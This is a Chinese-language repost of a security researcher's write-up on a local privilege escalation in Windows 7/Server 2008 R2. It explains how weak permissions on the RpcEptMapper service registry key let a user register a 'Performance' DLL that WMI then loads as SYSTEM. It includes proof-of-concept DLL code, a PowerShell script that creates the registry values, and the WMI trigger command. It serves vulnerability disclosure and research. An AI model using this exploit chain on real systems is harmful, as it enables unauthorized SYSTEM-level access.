4

Windows RpcEptMapper 服务注册表权限配置不当导致本地提权

 3 years ago
source link: http://4hou.win/wordpress/?p=60576
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PrivescCheck是是著名PowerUp的一种更新和扩展版本,可以针对Windows系统的提权枚举脚本,该脚本能够枚举出目标Windows系统中常见的Windows错误安全配置。如果你曾经在Windows 7或Windows Server 2008 R2上运行过此脚本,则可能会注意到重复出现奇怪的结果,可能会像我一样认为它是一个误报,但其实它是一个漏洞。

从今年年初开始,我开始研究特权升级枚举脚本:PrivescCheck,使用此脚本,我只是希望能够快速枚举由系统配置错误引起的潜在漏洞,但实际上却产生了一些意外的结果,比如它使我能够在Windows 7 / Server 2008R2中找到很多零日漏洞!

假设一台Windows设备打了完整的补丁,可能导致本地特权升级的主要安全问题之一是服务配置错误。如果普通用户能够修改现有服务,则就可以在本地/网络服务甚至本地系统的上下文中执行任意代码。以下就是一些最常见的漏洞:

1. 服务控制管理器(SCM):可以通过SCM向低特权用户授予服务的特定权限。例如,普通用户可以通过命令sc.exe start wuauserv启动Windows更新服务,这要感谢SERVICE_START权限,这是一个非常常见的场景。但是,如果该用户具有SERVICE_CHANGE_CONFIG,则他/她将能够更改该服务的行为并使其运行任意可执行文件。

2.二进制权限:典型的Windows服务通常具有一个与其关联的命令行。如果你可以修改相应的可执行文件或者如果你在父文件夹中具有写入权限,那么你基本上可以在该服务的安全上下文中执行所需的任何操作。

3.未引用的路径:此问题与Windows解析命令行的方式有关。比如带有以下命令行的虚拟服务:C:\Applications\Custom service \service.exe /v。此命令行不明确,因此Windows将首先尝试以Service \ service.exe作为第一个参数,/ v作为第二个参数执行C:\Applications\Custom.exe。如果一个普通用户在C:\Applications中有写权限,那么就可以通过复制一个恶意的可执行文件到C:\Applications\Custom.exe来劫持服务。这就是为什么路径应该总是用引号括起来,特别是当它们包含空格的时候:"C:\Applications\Custom Service\service.exe" /v。

4.虚拟DLL劫持和可写的%PATH%文件夹:即使在Windows的默认安装中,某些内置服务也会尝试加载不存在的DLL。这本身不是一个漏洞,但如果在%PATH%环境变量中列出的文件夹中有一个可以被普通用户写入,那么这些服务就可能被劫持。

这些潜在的安全问题中的每一个都已经在PowerUp中进行了相应的检查,但是在另一种情况下,可能会发生配置错误:注册表。通常,在创建服务时,可以通过使用内置命令sc.exe作为管理员调用服务控制管理器来进行。这将在HKLM \ SYSTEM \ CurrentControlSet \ Services中创建一个带有服务名称的子项,并将所有设置(命令行、用户等)保存在该子项中。因此,如果这些设置由SCM管理,则默认情况下它们应该是安全的。

检查注册表权限

PowerUp的核心函数之一是Get-ModifiablePath。这个函数的基本思想是提供一种通用的方法来检查当前用户是否可以以任何方式修改文件或文件夹(例如:AppendData/AddSubdirectory)。它通过解析目标对象的ACL,然后将其与通过它所属的所有组授予当前用户帐户的权限进行比较来实现。虽然这一原则最初是针对文件和文件夹实现的,但注册表项也是安全对象。因此,可以实现一个类似的函数来检查当前用户是否有对注册表项的写权限。这正是我所做的,因此我添加了一个新的核心函数:Get-ModifiableRegistryPath。

然后,实现对与Windows服务相对应的可修改注册表项的检查就像在路径Registry :: HKLM \ SYSTEM \ CurrentControlSet \ Services上调用Get-ChildItem PowerShell命令一样容易。结果可以简单地通过管道传递到新的Get-ModifiableRegistryPath命令,仅此而已。

当我需要实现一个新的检查时,我使用Windows 10设备,并且我也使用同一台设备进行初始测试,以查看是否一切都如预期的那样工作。当代码稳定后,我将测试扩展到其他几个Windows vm上,以确保它仍与PowerShell v2兼容,并且仍然可以在较老的系统上运行。我最常用于此目的的操作系统是Windows 7,Windows 2008 R2和Windows Server 2012 R2。

当我在Windows 10的默认安装上运行更新的脚本时,它没有返回任何内容,这是我期望的结果。我在Windows 7上运行了它,看到的结果如下:

YZFFf2U.png!mobile

由于我没想到脚本会产生任何结果,因此我首先认为这些都是误报,并且在实施过程中有些操作失误。不过我仔细看了一下结果,发现这些都不是误报。

误报吗?

根据脚本的输出,当前用户对两个注册表项具有一定的写入权限:

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

让我们使用regedit GUI手动检查RpcEptMapper服务的权限,我非常喜欢高级安全设置窗口的“有效权限”选项卡。你可以选择任何用户名或组名,然后立即查看授予该主体的有效权限,而无需分别检查所有ACE。以下屏幕截图显示了低权限实验室用户帐户的结果。

i2uqyim.png!mobile

大多数权限是标准权限(例如:查询值),但其中一项特别突出:创建子项。与此权限对应的通用名称为AppendData / AddSubdirectory,该名称正是脚本报告的名称:

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

这到底是什么意思?这意味着我们不能仅仅修改ImagePath值。为此,我们需要WriteData / AddFile权限。相反,我们只能创建一个新的子项。

MbE3QbA.png!mobile

这是否意味着它确实是误报?当然不会。

RTFM

至此,我们知道可以在HKLM \ SYSTEM \ CurrentControlSet \ Services \ RpcEptMapper下创建任意子项,但是不能修改现有子项和值。这些已经存在的子项是“参数”和“安全性”,它们在Windows服务中非常常见。

u6FvIbF.png!mobile

因此,想到的第一个问题是:是否还有其他预定义的子项,比如参数和安全性,我们可以利用它们来有效地修改服务的配置并以任何方式更改其行为?

为了回答这个问题,我最初的计划是枚举所有现有项并尝试识别模式,这样做的目的是查看哪些子项对服务的配置有意义。我开始考虑如何在PowerShell中实现它,然后对结果进行排序。但是,在这样做之前,我想知道此注册表结构是否已经记录在案。因此,我用谷歌搜索类似于Windows服务配置注册表站点:microsoft.com,这是第一个出现的结果。

ZJNnqe.png!mobile

乍看之下,文档似乎并不详尽和完整。考虑到标题,我希望看到某种树形结构,其中详细列出了定义服务配置的所有子项和值,但显然不存在。

BBjiQbq.png!mobile

尽管如此,我还是快速浏览了每个段落。而且,我很快发现了关项字 “Performance” 和 “DLL”。在“Performance”小标题下,我们可以阅读以下内容:

Performance:用于指定可选性能监视信息的项。该项下的值指定驱动程序性能DLL的名称以及该DLL中某些导出的函数的名称。你可以使用驱动程序INF文件中的AddReg项将值项添加到此子项中。

所以,理论上可以通过Performance子项在驱动程序服务中注册DLL,以便监视其性能。好的,这真的很有趣! RpcEptMapper服务默认情况下不存在此项,因此看起来正是我们所需要的。但是,有一个小问题,该服务绝对不是驱动程序服务。无论如何,仍然值得尝试,但我们首先需要有关此“性能监控”功能的更多信息。

n6Z3Qjb.png!mobile

注意:在Windows中,每个服务都有给定的类型。服务类型可以是以下值之一:SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256)。

在网上搜索了一番之后,我在文档中找到了这个资源: 创建应用程序的性能项

U77F3iu.png!mobile

首先,有一个很好的树结构,列出了我们必须创建的所有项和值:

库值可以包含DLL名称或指向DLL的完整路径;

Open、Collect和Close值允许你指定DLL应该导出的函数的名称;

这些值的数据类型为REG_SZ(对于库值,甚至为REG_EXPAND_SZ)。

如果你跟踪本资源中包含的链接,你甚至可以找到这些函数的原型以及一些代码示例:实现OpenPerformanceData。

ARVRJjU.png!mobile

我认为理论已经足够,该开始编写一些代码了!

编写概念验证

由于我在整个文档中都能收集到点点滴滴,因此编写一个简单的概念验证DLL应该非常简单。但是,我们仍然需要一个计划!

当我需要利用某种DLL劫持漏洞时,我通常从一个简单的自定义日志助手函数开始。此函数的目的是在每次调用文件时将一些关项信息写入文件中。通常,我记录当前进程和父进程的PID、运行进程的用户名和相应的命令行。我还记录了触发此日志事件的函数的名称,这样,我就知道代码的哪一部分被执行了。

启动Visual Studio并创建一个新的“ C ++ Console App”项目。请注意,我本可以创建“动态链接库(DLL)”项目,但我发现从控制台应用程序开始实际上更容易。

以下是Visual Studio生成的初始代码:

m2aaEjR.png!mobile

当然,那不是我们想要的。我们要创建一个DLL,而不是EXE,因此我们必须用DllMain替换main函数,你可以在 《初始化DLL文档》 中找到此函数的框架代码。

vQFn2ei.png!mobile

同时,我们还需要更改项目的设置,以指定输出的编译文件应该是DLL而不是EXE。为此,你可以打开项目属性,在“General”部分,选择“Dynamic Library (.dll)”作为“配置类型”。在标题栏的正下方,你还可以选择“所有配置”和“所有平台”,以便可以全局应用此设置。

接下来,添加我的自定义日志帮助器功能。

#include  // UNLEN + GetUserName
#include  // CreateToolhelp32Snapshot()
#include void Log(LPCWSTR pwszCallingFrom){
    LPWSTR pwszBuffer, pwszCommandLine;
    WCHAR wszUsername[UNLEN + 1] = { 0 };
    SYSTEMTIME st = { 0 };
    HANDLE hToolhelpSnapshot;
    PROCESSENTRY32 stProcessEntry = { 0 };
    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
    BOOL bResult = FALSE;

    // Get the command line of the current process
    pwszCommandLine = GetCommandLine();

    // Get the name of the process owner
    GetUserName(wszUsername, &dwPcbBuffer);

    // Get the PID of the current process
    dwProcessId = GetCurrentProcessId();

    // Get the PID of the parent process
    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
        do {
            if (stProcessEntry.th32ProcessID == dwProcessId) {
                dwParentProcessId = stProcessEntry.th32ParentProcessID;
                break;
            }
        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
    }
    CloseHandle(hToolhelpSnapshot);

    // Get the current date and time
    GetLocalTime(&st);

    // Prepare the output string and log the result
    dwBufSize = 4096 * sizeof(WCHAR);
    pwszBuffer = (LPWSTR)malloc(dwBufSize);
    if (pwszBuffer)
    {
        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
            st.wHour,
            st.wMinute,
            st.wSecond,
            dwProcessId,
            dwParentProcessId,
            wszUsername,
            pwszCommandLine,
            pwszCallingFrom
        );

        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);

        free(pwszBuffer);
    }}

然后,我们可以使用在文档中看到的三个函数来填充DLL。该文档还指出,如果成功,它们应该返回ERROR_SUCCESS。

ZfIJBr.png!mobile

现在项目已经正确配置好了,DllMain已经实现了,我们有了一个日志辅助函数和三个必需的函数。不过还缺少最后一件事。如果我们编译这段代码,OpenPerfData, CollectPerfData和ClosePerfData将只作为内部函数可用,所以我们需要导出它们。这可以通过几种方式实现。例如,你可以创建一个DEF文件,然后适当地配置项目。但是,我更喜欢使用 __declspec(dllexport)关键字 ,特别是对于像这样的小项目。这样,我们只需要在源代码的开始声明这三个函数即可。

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

如果你想查看完整的代码,请 点此 。这将生成我们的DLL文件:.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll

测试PoC

在继续之前,我总是通过单独测试来确保我的有效载荷是否正常工作,其主要目的是防止你在假设的调试阶段陷入无路可走的境地。为此,我们可以简单地使用rundll32.exe并将DLL的名称和导出函数的名称作为参数传递。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

3E7VR3E.gif!mobile

现在日志文件已被创建,如果打开它,我们可以看到两个条目。第一个是在rundll32.exe加载DLL时编写的。第二个是在调用OpenPerfData时编写的。

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'

现在我们可以专注于实际漏洞了,并从创建所需的注册表项和值开始。我们既可以使用reg.exe / regedit.exe手动执行此操作,也可以使用脚本以编程方式执行此操作。由于我在最初的研究中已经完成了手动步骤,因此我将展示一种使用PowerShell脚本执行相同操作的更简洁的方法。此外,在PowerShell中创建注册表项和值就像调用New-Item和New-ItemProperty一样容易,不是吗?

ZJJN7fa.png!mobile

请求的注册表访问是不允许的,至于具体原因我还没有进行研究,但我猜测是,当我们调用New-Item时,powershell.exe实际上会尝试使用一些与我们没有权限相对应的标志来打开父注册表项。

无论如何,如果内置的cmdlet不能完成任务,我们总是可以跳到下一级直接调用DotNet函数。实际上,还可以在PowerShell中使用以下代码创建注册表项。

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")

Qzqyqev.png!mobile

最后,我整理了以下脚本,以创建适当的项和值,等待用户输入,并最终通过清理所有内容来终止。

$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
 
Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
 
Read-Host -Prompt "Press any key to continue"
 
Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

最后一步,我们如何诱骗RPC端点映射器服务加载我们的Performace DLL?不幸的是,我没有记录下所有尝试过的事情。但你可以使用WMI(Windows管理规范)查询性能计数器,这一点也不奇怪。 计数器类型 类中显示为属性的CounterType限定符,在Win32_PerfFormattedData类中显示为属性的CookingType限定符。

因此,我首先使用以下命令枚举了PowerShell中与Performace Data相关的WMI类。

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

FBZfI3r.gif!mobile

而且,我看到我的日志文件几乎是立即创建的!下面是文件的内容。

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'

我期望最多在RpcEptMapper服务的上下文中以网络服务的形式执行任意代码,但看起来我得到的结果比预期的要好得多。实际上,我在WMI服务本身的上下文中执行了任意代码,该服务以本地系统运行。注意:如果我以NETWORK SERVICE的身份执行了任意代码,那么我将仅仅从本地系统帐户中获得一个标记,这要感谢James Forshaw几个月前发表的一篇文章 《Sharing a Logon Session a Little Too Much》

我还尝试分别获取每个WMI类,并观察到完全相同的结果。

Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData

总结

我不知道这个漏洞为何被忽视这么久了,一种解释是,其他工具可能会在注册表中寻找完整的写入访问权限,而在本例中,AppendData / AddSubdirectory实际上足够了。关于“错误配置”本身,我假设注册表项是为了特定的目的而这样设置的,尽管我想不出用户有任何类型的权限来修改服务的配置的具体场景。

我决定公开发表此漏洞的原因有两个:第一个原因是,在我用GetModfiableRegistryPath函数更新PrivescCheck脚本的那一天,我实际上公开了它,最初我并没有意识到这一点,那是几个月前。第二个原因是影响很小。它需要本地访问,并且只影响不再支持的旧版本的Windows(除非你购买了扩展支持……)此时,如果你仍然在使用Windows 7 / Server 2008 R2,而没有首先在网络中正确隔离这些设备,那么防止攻击者获得系统特权可能是你最不需要担心的事情。

相关链接

GitHub - PrivescCheck

https://github.com/itm4n/PrivescCheck


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK